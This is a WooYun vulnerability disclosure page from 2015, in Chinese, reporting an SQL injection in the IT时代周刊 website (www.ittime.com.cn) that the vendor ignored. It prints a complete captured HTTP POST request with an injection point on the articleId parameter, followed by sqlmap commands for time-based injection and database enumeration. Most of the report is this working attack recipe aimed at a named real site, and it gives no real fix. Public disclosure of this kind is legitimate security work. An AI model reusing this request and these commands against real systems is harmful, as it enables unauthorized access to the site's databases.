IT时代周刊主站SQL注入漏洞 | wooyun-2015-0151810| WooYun.org

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0151810

漏洞标题：IT时代周刊主站SQL注入漏洞

漏洞作者： whynot

提交时间：2015-11-05 15:39

修复时间：2015-12-20 15:40

公开时间：2015-12-20 15:40

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-05：积极联系厂商并且等待厂商认领中，细节不对外公开
2015-12-20：厂商已经主动忽略漏洞，细节向公众公开

简要描述：

往下看吧

详细说明：

跟这个漏洞发生地点是一样的 http://wooyun.org/bugs/wooyun-2015-0151511 上了首页开心啊
不清楚做过什么机制不能用同样的txt跑必须重新抓包
txt内容如下

POST /usershow/sendcommunup/ HTTP/1.1
Host: www.ittime.com.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.ittime.com.cn/news/news_1000.shtml
Cookie: Hm_lvt_e7f6a0869113cfb15b058b448b1eee55=1446528810,1446606619,1446607150,1446611730; CAKEPHP=atnbq4m4fl8tu44ge45ln40o27; Hm_lpvt_e7f6a0869113cfb15b058b448b1eee55=1446626820
X-Forwarded-For: 8.8.8.8'"sdfsdf1%df1%df22%#\
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
content=this is good test&articleId=1000*&userId=479958&x=59&y=21

sqlmap.py -r 1.txt --time-sec=10 --technique="T"

sqlmap.py -r 1.txt --time-sec=10 --technique="T" --dbs

漏洞证明：

修复方案：

你们更专业

版权声明：转载请注明来源 whynot@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

WooYun.org

漏洞概要 关注数(24) 关注此漏洞